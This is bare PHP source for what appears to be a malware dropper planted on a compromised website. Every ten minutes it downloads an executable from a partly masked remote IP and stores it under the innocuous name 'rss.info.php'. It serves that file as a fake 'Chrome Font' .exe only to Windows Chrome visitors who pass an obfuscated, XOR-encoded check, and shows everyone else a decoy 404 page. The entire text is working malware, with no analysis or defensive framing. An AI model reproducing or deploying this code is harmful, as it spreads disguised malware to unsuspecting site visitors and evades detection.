$file = "rss.info.php"; function dwnld($file) { $exe = @file_get_contents('http://3x.xxx.xxx.xx9/2n_a2na_na0'); file_put_contents($file, $exe); } if (is_file($file)) { if ((time() - filemtime($file)) > 600) { dwnld($file); } } else dwnld($file); if (isset($_POST["infol"])) { function enco($String) { $Seq = 'pAsswd1'; $Gamma = ''; while (strlen($Gamma) < strlen($String)) { $Seq = pack("H*", md5($Gamma . $Seq . '123456790')); $Gamma .= substr($Seq, 0, 8); } return $String ^ $Gamma; } $ua = $_SERVER['HTTP_USER_AGENT']; $ref = $_SERVER['HTTP_REFERER']; $ip = $_SERVER['REMOTE_ADDR']; $param = enco(base64_decode($_POST["infol"])); $arr = explode('-|x|-', $param); $p = str_replace("0", "1", substr(ip2long($ip), -3, 3)); if (sizeof($arr) == 3) { if ($arr[1] == $ip) { if (strstr($ref, $arr[2])) { if ((strstr($ua, 'Windows')) and (strstr($ua, 'Chrome'))) { header("Content-Type: application/octet-stream"); header("Accept-Ranges: bytes"); header("Content-Length: " . filesize($file)); header("Content-Disposition: attachment; filename=Chrome Font v" . substr($p, 0, 1) . "." . substr($p, 1, 2) . ".exe"); readfile($file); exit; } } } } } header("HTTP/1.0 404 Not Found"); exit;